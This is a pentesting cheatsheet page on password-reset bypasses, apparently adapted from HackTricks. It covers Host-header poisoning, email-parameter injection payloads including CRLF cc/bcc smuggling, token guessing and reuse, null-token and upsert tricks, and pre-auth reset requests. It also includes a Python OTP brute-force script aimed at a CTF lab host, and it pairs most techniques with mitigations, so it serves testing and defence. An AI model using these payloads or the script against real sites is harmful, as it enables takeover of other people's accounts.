daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

reset-password.md (20635B)


      1 ---
      2 title: "Reset/Forgotten Password Bypass"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/reset-password.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/reset-password.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Reset/Forgotten Password Bypass
     14 
     15 ## **Password Reset Token Leak Via Referrer**
     16 
     17 - The HTTP referer header may leak the password reset token if it's included in the URL. This can occur when a user clicks on a third-party website link after requesting a password reset.
     18 - **Impact**: Potential account takeover if a third party receives and redeems the leaked reset token.
     19 - **Exploitation**: To check if a password reset token is leaking in the referer header, **request a password reset** to your email address and **click the reset link** provided. **Do not change your password** immediately. Instead, **navigate to a third-party website** (like Facebook or Twitter) while **intercepting the requests using Burp Suite**. Inspect the requests to see if the **referer header contains the password reset token**, as this could expose sensitive information to third parties.<sup>[[1]](#references)</sup><sup>[[2]](#references)</sup><sup>[[3]](#references)</sup>
     20 
     21 ## **Password Reset Poisoning**
     22 
     23 - Attackers may manipulate the Host header during password reset requests to point the reset link to a malicious site.
     24 - **Impact**: Leads to potential account takeover by leaking reset tokens to attackers.<sup>[[4]](#references)</sup>
     25 - **Exploitation tips**:
     26   - Test not only `Host`, but also override headers such as `X-Forwarded-Host`, `Forwarded`, `X-Host`, and `X-Original-Host`. Reverse proxies and middleware sometimes build the reset URL from those values instead of from the canonical host.
     27   - If the reset request contains parameters such as `baseurl`, `return_to`, `redirect_uri`, `redirect_url`, `next`, or a tenant/domain selector, point them to an attacker-controlled host and inspect the email template.
     28   - Try the poisoning payload on the first request **and** on "resend reset link" endpoints. In several real cases only one of the two paths was vulnerable.
     29 - **Mitigation Steps**:
     30   - Validate the Host header against an allow-list of permitted domains.
     31   - Use secure, server-side methods to generate absolute URLs.
     32   - **Patch**: Use `$_SERVER['SERVER_NAME']` to construct password reset URLs instead of `$_SERVER['HTTP_HOST']`.
     33 
     34 ## **Password Reset By Manipulating Email Parameter**
     35 
     36 Attackers can manipulate the password reset request by adding additional email parameters to divert the reset link.<sup>[[5]](#references)</sup><sup>[[6]](#references)</sup><sup>[[7]](#references)</sup><sup>[[8]](#references)</sup>
     37 
     38 - Add attacker email as second parameter using &
     39 
     40 ```php
     41 POST /resetPassword
     42 [...]
     43 email=victim@email.com&email=attacker@email.com
     44 ```
     45 
     46 - Add attacker email as second parameter using %20
     47 
     48 ```php
     49 POST /resetPassword
     50 [...]
     51 email=victim@email.com%20email=attacker@email.com
     52 ```
     53 
     54 - Add attacker email as second parameter using |
     55 
     56 ```php
     57 POST /resetPassword
     58 [...]
     59 email=victim@email.com|email=attacker@email.com
     60 ```
     61 
     62 - Add attacker email as second parameter using cc
     63 
     64 ```php
     65 POST /resetPassword
     66 [...]
     67 email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
     68 ```
     69 
     70 - Add attacker email as second parameter using bcc
     71 
     72 ```php
     73 POST /resetPassword
     74 [...]
     75 email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
     76 ```
     77 
     78 - Add attacker email as second parameter using ,
     79 
     80 ```php
     81 POST /resetPassword
     82 [...]
     83 email="victim@mail.tld",email="attacker@mail.tld"
     84 ```
     85 
     86 - Add attacker email as second parameter in json array
     87 
     88 ```php
     89 POST /resetPassword
     90 [...]
     91 {"email":["victim@mail.tld","attacker@mail.tld"]}
     92 ```
     93 
     94 - Convert a normal form submission to JSON and try nested arrays/objects (some frameworks type-coerce a single-recipient field into multiple recipients)
     95 
     96 ```json
     97 {
     98   "user": {
     99     "email": ["victim@mail.tld", "attacker@mail.tld"]
    100   }
    101 }
    102 ```
    103 
    104 - Try framework-specific multi-value formats
    105 
    106 ```http
    107 POST /resetPassword HTTP/1.1
    108 Content-Type: application/x-www-form-urlencoded
    109 
    110 email[]=victim@mail.tld&email[]=attacker@mail.tld
    111 ```
    112 
    113 - Also try comma-separated values inside a single string (`victim@mail.tld,attacker@mail.tld`) and content-type conversions (`x-www-form-urlencoded` -> JSON, `multipart/form-data` -> JSON) because some mailers or validators split recipients late in the pipeline.
    114 - **Mitigation Steps**:
    115   - Properly parse and validate email parameters server-side.
    116   - Reject arrays / repeated parameters when a single recipient is expected.
    117   - Cast the final recipient to a string before passing it to the mailer and re-validate after any normalization step.
    118 
    119 ## **Changing the Email and Password of Any User Through API Parameters**
    120 
    121 - Attackers can modify email and password parameters in API requests to change account credentials.<sup>[[9]](#references)</sup>
    122 
    123 ```php
    124 POST /api/changepass
    125 [...]
    126 ("form": {"email":"victim@email.tld","password":"12345678"})
    127 ```
    128 
    129 - **Mitigation Steps**:
    130   - Ensure strict parameter validation and authentication checks.
    131   - Implement robust logging and monitoring to detect and respond to suspicious activities.
    132 
    133 ## **No Rate Limiting: Email Bombing**
    134 
    135 - Lack of rate limiting on password reset requests can lead to email bombing, overwhelming the user with reset emails.<sup>[[10]](#references)</sup>
    136 - **Mitigation Steps**:
    137   - Implement rate limiting based on IP address or user account.
    138   - Use CAPTCHA challenges to prevent automated abuse.
    139 
    140 ## **Find out How Password Reset Token is Generated**
    141 
    142 - Understanding the pattern or method behind token generation can lead to predicting or brute-forcing tokens. Some options:
    143   - Based Timestamp
    144   - Based on the UserID
    145   - Based on email of User
    146   - Based on Firstname and Lastname
    147   - Based on Date of Birth
    148   - Based on Cryptography
    149 - Also request several reset links in parallel and compare them. Identical tokens, deterministic increments, or "one-time" links that remain valid after first use usually indicate a race condition or a state machine bug.
    150 - **Mitigation Steps**:
    151   - Use strong, cryptographic methods for token generation.
    152   - Ensure sufficient randomness and length to prevent predictability.
    153 - **Tools**: Use Burp Sequencer to analyze the randomness of tokens, and Turbo Intruder / Burp Repeater group-send to test parallel issuance and reuse.
    154 
    155 [Race Condition](/hacktricks/pentesting-web/race-condition)
    156 
    157 ## **Guessable UUID**
    158 
    159 - If UUIDs (version 1) are guessable or predictable, attackers may brute-force them to generate valid reset tokens. Check:
    160 
    161 
    162 [Uuid Insecurities](/hacktricks/pentesting-web/uuid-insecurities)
    163 
    164 - **Mitigation Steps**:
    165   - Use GUID version 4 for randomness or implement additional security measures for other versions.
    166 - **Tools**: Use [guidtool](https://github.com/intruder-io/guidtool) for analyzing and generating GUIDs.
    167 
    168 ## **Response Manipulation: Replace Bad Response With Good One**
    169 
    170 - Manipulating HTTP responses to bypass error messages or restrictions.<sup>[[11]](#references)</sup>
    171 - **Mitigation Steps**:
    172   - Implement server-side checks to ensure response integrity.
    173   - Use secure communication channels like HTTPS to prevent man-in-the-middle attacks.
    174 
    175 ## **Using Expired Token**
    176 
    177 - Testing whether expired tokens can still be used for password reset.
    178 - Check both the final reset endpoint and any intermediate "validate token" endpoint. Some applications reject the token on the UI step but still accept it on the JSON/API step that actually changes the password.
    179 - **Mitigation Steps**:
    180   - Implement strict token expiration policies and validate token expiry server-side.
    181 
    182 ## **Race / Reuse of One-Time Reset Tokens**
    183 
    184 - Some applications invalidate reset tokens only after the password update finishes, or only in one worker/process. This makes supposedly one-time links reusable when the same token is submitted concurrently.
    185 - Practical checks:
    186   - Open the same reset link in two browsers and submit both almost at the same time.
    187   - Send two `POST /reset` requests in parallel with the same token but different passwords.
    188   - Complete the password change once, then replay the exact final request before following any redirect chain.
    189 - If two different passwords are accepted or the same token works twice, you likely found a race condition in token invalidation.
    190 - **Mitigation Steps**:
    191   - Invalidate the token atomically before or during the password update transaction.
    192   - Ensure the token is single-use across all workers and replicas.
    193 
    194 ## **Brute Force Password Reset Token**
    195 
    196 - Attempting to brute-force the reset token using tools like Burpsuite and IP-Rotator to bypass IP-based rate limits.
    197 - **Mitigation Steps**:
    198   - Implement robust rate-limiting and account lockout mechanisms.
    199   - Monitor for suspicious activities indicative of brute-force attacks.
    200 
    201 ## **Try Using Your Token**
    202 
    203 - Testing if an attacker's reset token can be used in conjunction with the victim's email.<sup>[[12]](#references)</sup>
    204 - This usually appears when the application validates the token and the target account independently. Typical vulnerable patterns:
    205   - Step 1 (`/forgot-password`) issues a token tied to the attacker account.
    206   - Step 2 (`/reset-password`) accepts both `token` and `email` / `userId` / `username` from the client.
    207   - The backend checks that the token exists, but uses the attacker-controlled identifier to decide **which** password to change.
    208 - Practical mutations to test:
    209   - Keep your valid token but replace `email`, `userId`, `username`, `login`, or `accountId` with the victim's value.
    210   - Move the token between query string, JSON body, and headers while changing the victim identifier in the other location.
    211   - If the reset page first calls a "validate token" endpoint and then a separate "change password" endpoint, change the victim identifier only in the second request.
    212 - **Mitigation Steps**:
    213   - Bind the token to the account on the server side and derive the target user exclusively from that token.
    214   - Do not trust any account identifier submitted alongside the token unless it matches the token owner.
    215 
    216 ## **Password Reset Token Disclosure in API Responses**
    217 
    218 - Some APIs return the reset token (`resetToken`, `tempToken`, `recoveryCode`) directly in the forgot-password response or in a secondary polling/debug endpoint.<sup>[[13]](#references)</sup>
    219 - This is usually an immediate ATO: trigger a reset for the victim, capture the token from the API response, then call the final reset endpoint without mailbox access.
    220 - Also inspect GraphQL responses, mobile APIs, websocket notifications, batch endpoints, and verbose error messages for leaked token values or token expiry metadata.
    221 
    222 ```http
    223 POST /api/v1/account/forgot-password HTTP/1.1
    224 Content-Type: application/json
    225 
    226 {"email":"victim@example.com"}
    227 
    228 HTTP/1.1 200 OK
    229 Content-Type: application/json
    230 
    231 {"tempToken":"4f89...","tokenExpiry":"<expiry-timestamp>","user":{"email":"victim@example.com"}}
    232 ```
    233 
    234 ## **Missing "token was generated" check**
    235 
    236 - A subtle variant appears when the reset endpoint compares the attacker-supplied token with the value stored in the database, but never verifies that a reset flow was actually started.
    237 - If the default stored value is `NULL` or an empty string, try sending `null`, `""`, omitting the field entirely, or using the string `"null"`.
    238 - This bug is especially interesting on recently created accounts or on accounts where the application initializes `tokenExpiry` during account creation instead of during the reset flow.
    239 
    240 ```json
    241 {
    242   "user": {
    243     "email": "victim@example.com",
    244     "tempToken": null,
    245     "password": "NewP@ssw0rd!"
    246   }
    247 }
    248 ```
    249 
    250 - **Mitigation Steps**:
    251   - Ensure that tokens are bound to the user session or other user-specific attributes.
    252   - Reject reset attempts unless the server recorded a live reset request for that account.
    253 
    254 ## **Session Invalidation in Logout/Password Reset**
    255 
    256 - Ensuring that sessions are invalidated when a user logs out or resets their password.
    257 - **Mitigation Steps**:
    258   - Implement proper session management, ensuring that all sessions are invalidated upon logout or password reset.
    259 
    260 ## **Reset Token Expiration**
    261 
    262 - Reset tokens should have an expiration time after which they become invalid.
    263 - **Mitigation Steps**:
    264   - Set a reasonable expiration time for reset tokens and strictly enforce it server-side.
    265 
    266 ## **OTP rate limit bypass by changing your session**  
    267 
    268 - If the site tracks failed OTP attempts only in the current session and uses a weak OTP (four digits or fewer), rotating the session may bypass the attempt counter and enable brute force.
    269     - **exploitation**:
    270         - just request a new session token after getting blocked by the server.
    271     - **Example** code that exploits this bug by randomly guessing the OTP (when you change the session the OTP will change as well, and so we will not be able to sequentially bruteforce it!):
    272 
    273       ``` python
    274         # Authentication bypass by password reset
    275         # by coderMohammed
    276         import requests
    277         import random
    278         from time import sleep
    279         
    280         headers = {
    281             "User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
    282             "Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
    283         }
    284         url = "http://10.10.12.231:1337/reset_password.php"
    285         logout = "http://10.10.12.231:1337/logout.php"
    286         root = "http://10.10.12.231:1337/"
    287         
    288         parms = dict()
    289         ter = 0
    290         phpsessid = ""
    291         
    292         print("[+] Starting attack!")
    293         sleep(3)
    294         print("[+] This might take around 5 minutes to finish!")
    295         
    296         try:
    297                 while True:
    298                         parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0 - 9999 with 4 d
    299                         parms["s"] = 164 # not important it only efects the frontend
    300                         res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)
    301         
    302                         if ter == 8: # follow number of trails
    303                                 out = requests.get(logout,headers=headers) # log u out 
    304                                 mainp = requests.get(root) # gets another phpssid (token)
    305         
    306                                 cookies = out.cookies # extract the sessionid 
    307                                 phpsessid = cookies.get('PHPSESSID')
    308                                 headers["cookies"]=f"PHPSESSID={phpsessid}" #update the headers with new session
    309         
    310                                 reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sends the email to change the password for
    311                                 ter = 0 # reset ter so we get a new session after 8 trails
    312                         else:
    313                                 ter += 1
    314                                 if(len(res.text) == 2292): # this is the length of the page when u get the recovery code correctly (got by testing)
    315                                         print(len(res.text)) # for debug info
    316                                         print(phpsessid) 
    317         
    318                                         reset_data = { # here we will change the password to somthing new 
    319                                         "new_password": "D37djkamd!",
    320                                         "confirm_password": "D37djkamd!"
    321                                         }
    322                                         reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)
    323         
    324                                         print("[+] Password has been changed to:D37djkamd!")
    325                                         break 
    326         except Exception as e:
    327                 print("[+] Attck stopped")
    328       ```
    329 
    330 ## Arbitrary password reset via skipOldPwdCheck (pre-auth)
    331 
    332 Some implementations expose a password change action that calls the password-change routine with skipOldPwdCheck=true and does not verify any reset token or ownership. If the endpoint accepts an action parameter like change_password and a username/new password in the request body, an attacker can reset arbitrary accounts pre-auth.<sup>[[14]](#references)</sup>
    333 
    334 Vulnerable pattern (PHP):
    335 
    336 ```php
    337 // hub/rpwd.php
    338 RequestHandler::validateCSRFToken();
    339 $RP = new RecoverPwd();
    340 $RP->process($_REQUEST, $_POST);
    341 
    342 // modules/Users/RecoverPwd.php
    343 if ($request['action'] == 'change_password') {
    344   $body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']);
    345 }
    346 
    347 public function displayChangePwd($smarty, $username, $newpwd) {
    348   $current_user = CRMEntity::getInstance('Users');
    349   $current_user->id = $current_user->retrieve_user_id($username);
    350   // ... criteria checks omitted ...
    351   $current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true); // skipOldPwdCheck=true
    352   emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
    353 }
    354 ```
    355 
    356 Exploitation request (concept):
    357 
    358 ```http
    359 POST /hub/rpwd.php HTTP/1.1
    360 Content-Type: application/x-www-form-urlencoded
    361 
    362 action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!
    363 ```
    364 
    365 Mitigations:
    366 - Always require a valid, time-bound reset token bound to the account and session before changing a password.
    367 - Never expose skipOldPwdCheck paths to unauthenticated users; enforce authentication for regular password changes and verify the old password.
    368 - Invalidate all active sessions and reset tokens after a password change.
    369 
    370 ## Registration-as-Password-Reset (Upsert on Existing Email)
    371 
    372 Some applications implement the signup handler as an upsert. If the email already exists, the handler silently updates the user record instead of rejecting the request. When the registration endpoint accepts a minimal JSON body with an existing email and a new password, it effectively becomes a pre-auth password reset without any ownership verification allowing full account takeover.<sup>[[15]](#references)</sup>
    373 
    374 Pre-auth ATO PoC (overwriting an existing user's password):
    375 
    376 ```http
    377 POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
    378 Host: www.target.tld
    379 Content-Type: application/json
    380 
    381 {"email":"victim@example.com","password":"New@12345"}
    382 ```
    383 
    384 
    385 ## References
    386 
    387 - [1] [HackerOne Report 342693](https://hackerone.com/reports/342693)
    388 - [2] [HackerOne Report 272379](https://hackerone.com/reports/272379)
    389 - [3] [Toyota's Password Reset Token and Email Address Leak via Referer Header](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
    390 - [4] [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
    391 - [5] [readme.com Account Takeover Bugbounty Full Disclosure](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
    392 - [6] [How I Was Able to Earn $1000 with Just 10 Minutes of Bug Bounty](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
    393 - [7] [@HusseiN98D Twitter thread on password reset email parameter bypass](https://twitter.com/HusseiN98D/status/1254888748216655872)
    394 - [8] [GitLab Critical Security Release: 16.7.2, 16.6.4, 16.5.6 (CVE-2023-7028)](https://docs.gitlab.com/releases/patches/patch-release-gitlab-16-7-2-released/)
    395 - [9] [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
    396 - [10] [HackerOne Report 280534](https://hackerone.com/reports/280534)
    397 - [11] [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
    398 - [12] [10 Password Reset Flaws – #10 Try Using Your Token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
    399 - [13] [Critical: Unauthenticated Password Reset Token Disclosure Leading to Account Takeover in Flowise Cloud and Local Deployments](https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-wgpv-6j63-x5ph)
    400 - [14] [VTENEXT 25.02 – A Three-Way Path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
    401 - [15] [How I Found a Critical Password Reset Bug (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1)